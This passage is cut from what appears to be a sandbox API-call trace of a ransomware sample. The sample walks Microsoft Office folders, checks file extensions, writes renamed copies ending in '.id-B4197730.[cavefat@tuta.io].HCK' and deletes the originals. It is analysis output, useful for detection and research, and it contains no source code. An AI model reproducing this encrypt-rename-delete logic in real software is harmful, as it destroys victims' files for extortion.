Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0232.995] lstrlenW (lpString=".dbf") returned 4 [0232.995] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0232.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0232.995] lstrlenW (lpString=".1cd") returned 4 [0232.995] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0232.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0232.995] lstrlenW (lpString=".jpg") returned 4 [0232.995] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0232.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0232.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0232.995] lstrlenW (lpString=".doc") returned 4 [0232.995] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0232.995] lstrlenW (lpString=".docx") returned 5 [0232.995] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0232.995] lstrlenW (lpString=".pdf") returned 4 [0232.995] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0232.995] lstrlenW (lpString=".xls") returned 4 [0232.995] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0232.995] lstrlenW (lpString=".xlsx") returned 5 [0232.995] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0232.995] lstrlenW (lpString=".ppt") returned 4 [0232.995] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0232.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0232.995] lstrlenW (lpString=".zip") returned 4 [0232.995] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0232.995] lstrlenW (lpString=".rar") returned 4 [0232.995] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0232.995] lstrlenW (lpString=".bz2") returned 4 [0232.995] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0232.995] lstrlenW (lpString=".7z") returned 3 [0232.995] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0232.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0232.995] lstrlenW (lpString=".dbf") returned 4 [0232.995] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0232.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0232.995] lstrlenW (lpString=".1cd") returned 4 [0232.995] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0232.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.Common.dll") returned 85 [0232.996] lstrlenW (lpString=".jpg") returned 4 [0232.996] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0232.996] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0232.996] lstrlenW (lpString="Microsoft.AppV.Modernizer.CSharp.dll") returned 36 [0232.996] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x54c [0232.996] GetFileSizeEx (in: hFile=0x54c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=363736) returned 1 [0232.996] CloseHandle (hObject=0x54c) returned 1 [0232.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll")) returned 0x220 [0232.996] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0232.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.csharp.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0232.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0232.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0232.997] lstrlenW (lpString=".doc") returned 4 [0232.997] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0232.997] lstrlenW (lpString=".docx") returned 5 [0232.997] lstrcmpiW (lpString1=".docx", lpString2="p.dll") returned -1 [0232.997] lstrlenW (lpString=".pdf") returned 4 [0232.997] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0232.997] lstrlenW (lpString=".xls") returned 4 [0232.997] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0232.997] lstrlenW (lpString=".xlsx") returned 5 [0232.997] lstrcmpiW (lpString1=".xlsx", lpString2="p.dll") returned -1 [0232.997] lstrlenW (lpString=".ppt") returned 4 [0232.997] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0232.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0232.997] lstrlenW (lpString=".zip") returned 4 [0232.997] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0232.997] lstrlenW (lpString=".rar") returned 4 [0232.997] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0232.997] lstrlenW (lpString=".bz2") returned 4 [0232.997] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0232.997] lstrlenW (lpString=".7z") returned 3 [0232.997] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0232.997] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.CSharp.dll") returned 85 [0232.997] lstrlenW (lpString=".dbf") returned 4 [0232.997] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0233.438] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Flattener\\Microsoft.AppV.Modernizer.ManagedCpp.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\flattener\\microsoft.appv.modernizer.managedcpp.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0 [0234.393] GetFileSizeEx (in: hFile=0x4c0, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=615304) returned 1 [0234.393] CloseHandle (hObject=0x4c0) returned 1 [0234.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu")) returned 0x220 [0234.394] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0234.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c0 [0234.396] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.396] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b8 [0234.396] GetLastError () returned 0x0 [0234.396] ReadFile (in: hFile=0x4c0, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x96388, lpOverlapped=0x0) returned 1 [0234.452] WriteFile (in: hFile=0x4b8, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x96390, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x96390, lpOverlapped=0x0) returned 1 [0234.459] ReadFile (in: hFile=0x4c0, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0234.459] WriteFile (in: hFile=0x4b8, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x10e, lpOverlapped=0x0) returned 1 [0234.459] SetEndOfFile (hFile=0x4b8) returned 1 [0234.460] CloseHandle (hObject=0x4b8) returned 1 [0234.460] SetFilePointerEx (in: hFile=0x4c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0234.460] SetEndOfFile (hFile=0x4c0) returned 1 [0234.469] CloseHandle (hObject=0x4c0) returned 1 [0234.469] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0234.913] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu" (normalized: "c:\\program files\\microsoft office\\root\\integration\\windows8-rt-kb2999226-x86.msu")) returned 1 [0235.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0235.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0235.452] lstrlenW (lpString=".doc") returned 4 [0235.452] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0235.452] lstrlenW (lpString=".docx") returned 5 [0235.452] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0235.452] lstrlenW (lpString=".pdf") returned 4 [0235.452] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0235.452] lstrlenW (lpString=".xls") returned 4 [0235.452] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0235.452] lstrlenW (lpString=".xlsx") returned 5 [0235.452] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0235.452] lstrlenW (lpString=".ppt") returned 4 [0235.452] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0235.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0235.452] lstrlenW (lpString=".zip") returned 4 [0235.452] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0235.452] lstrlenW (lpString=".rar") returned 4 [0235.452] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0235.452] lstrlenW (lpString=".bz2") returned 4 [0235.452] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0235.452] lstrlenW (lpString=".7z") returned 3 [0235.452] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0235.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0235.452] lstrlenW (lpString=".dbf") returned 4 [0235.452] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0235.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0235.452] lstrlenW (lpString=".1cd") returned 4 [0235.452] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0235.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0235.452] lstrlenW (lpString=".jpg") returned 4 [0235.452] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0235.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0235.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0235.452] lstrlenW (lpString=".doc") returned 4 [0235.452] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0235.452] lstrlenW (lpString=".docx") returned 5 [0235.452] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0235.452] lstrlenW (lpString=".pdf") returned 4 [0235.452] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0235.452] lstrlenW (lpString=".xls") returned 4 [0235.452] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0235.452] lstrlenW (lpString=".xlsx") returned 5 [0235.452] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0235.452] lstrlenW (lpString=".ppt") returned 4 [0235.452] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0235.452] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0235.452] lstrlenW (lpString=".zip") returned 4 [0235.452] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0235.452] lstrlenW (lpString=".rar") returned 4 [0235.453] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0235.453] lstrlenW (lpString=".bz2") returned 4 [0235.453] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0235.453] lstrlenW (lpString=".7z") returned 3 [0235.453] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0235.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0235.453] lstrlenW (lpString=".dbf") returned 4 [0235.453] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0235.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0235.453] lstrlenW (lpString=".1cd") returned 4 [0235.453] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0235.453] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Integration\\Windows8-RT-KB2999226-x86.msu") returned 80 [0235.453] lstrlenW (lpString=".jpg") returned 4 [0235.453] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0235.453] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0235.453] lstrlenW (lpString="AccessR_OEM_Perp-pl.xrm-ms") returned 26 [0235.453] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0235.573] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=10639) returned 1 [0235.573] CloseHandle (hObject=0x454) returned 1 [0235.573] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms")) returned 0x220 [0235.574] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0235.574] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.574] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.574] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0235.577] GetLastError () returned 0x0 [0235.577] ReadFile (in: hFile=0x454, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x298f, lpOverlapped=0x0) returned 1 [0235.579] WriteFile (in: hFile=0x4b4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2990, lpOverlapped=0x0) returned 1 [0235.580] ReadFile (in: hFile=0x454, lpBuffer=0x3ad5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0235.580] WriteFile (in: hFile=0x4b4, lpBuffer=0x3ad5020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ad5020*, lpNumberOfBytesWritten=0x2e5fc94*=0x108, lpOverlapped=0x0) returned 1 [0235.580] SetEndOfFile (hFile=0x4b4) returned 1 [0235.580] CloseHandle (hObject=0x4b4) returned 1 [0235.580] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.581] SetEndOfFile (hFile=0x454) returned 1 [0235.585] CloseHandle (hObject=0x454) returned 1 [0235.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0235.585] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-pl.xrm-ms")) returned 1 [0235.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0235.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0235.586] lstrlenW (lpString=".doc") returned 4 [0235.586] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0235.586] lstrlenW (lpString=".docx") returned 5 [0235.586] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0235.586] lstrlenW (lpString=".pdf") returned 4 [0235.586] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0235.586] lstrlenW (lpString=".xls") returned 4 [0235.586] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0235.587] lstrlenW (lpString=".xlsx") returned 5 [0235.587] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0235.587] lstrlenW (lpString=".ppt") returned 4 [0235.587] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0235.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0235.587] lstrlenW (lpString=".zip") returned 4 [0235.587] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0235.587] lstrlenW (lpString=".rar") returned 4 [0235.587] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0235.587] lstrlenW (lpString=".bz2") returned 4 [0235.587] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0235.587] lstrlenW (lpString=".7z") returned 3 [0235.587] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0235.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0235.587] lstrlenW (lpString=".dbf") returned 4 [0235.587] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0235.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0235.587] lstrlenW (lpString=".1cd") returned 4 [0235.587] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0235.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0235.587] lstrlenW (lpString=".jpg") returned 4 [0235.587] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0235.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0235.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0235.587] lstrlenW (lpString=".doc") returned 4 [0235.587] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0235.587] lstrlenW (lpString=".docx") returned 5 [0235.587] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0235.587] lstrlenW (lpString=".pdf") returned 4 [0235.587] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0235.587] lstrlenW (lpString=".xls") returned 4 [0235.588] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0235.588] lstrlenW (lpString=".xlsx") returned 5 [0235.588] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0235.588] lstrlenW (lpString=".ppt") returned 4 [0235.588] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0235.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0235.588] lstrlenW (lpString=".zip") returned 4 [0235.588] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0235.588] lstrlenW (lpString=".rar") returned 4 [0235.588] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0235.588] lstrlenW (lpString=".bz2") returned 4 [0235.588] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0235.588] lstrlenW (lpString=".7z") returned 3 [0235.588] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0235.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0235.588] lstrlenW (lpString=".dbf") returned 4 [0235.588] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0235.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0235.588] lstrlenW (lpString=".1cd") returned 4 [0235.588] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0235.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-pl.xrm-ms") returned 76 [0235.588] lstrlenW (lpString=".jpg") returned 4 [0235.588] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0235.588] lstrcmpiW (lpString1=".xrm-ms", lpString2=".HCK") returned 1 [0235.588] lstrlenW (lpString="AccessR_OEM_Perp-ppd.xrm-ms") returned 27 [0235.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0235.591] GetFileSizeEx (in: hFile=0x454, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=20780) returned 1 [0235.591] CloseHandle (hObject=0x454) returned 1 [0235.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms")) returned 0x220 [0235.591] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0235.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x454 [0235.592] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.592] SetFilePointerEx (in: hFile=0x454, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0235.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_OEM_Perp-ppd.xrm-ms.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_oem_perp-ppd.xrm-ms.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) 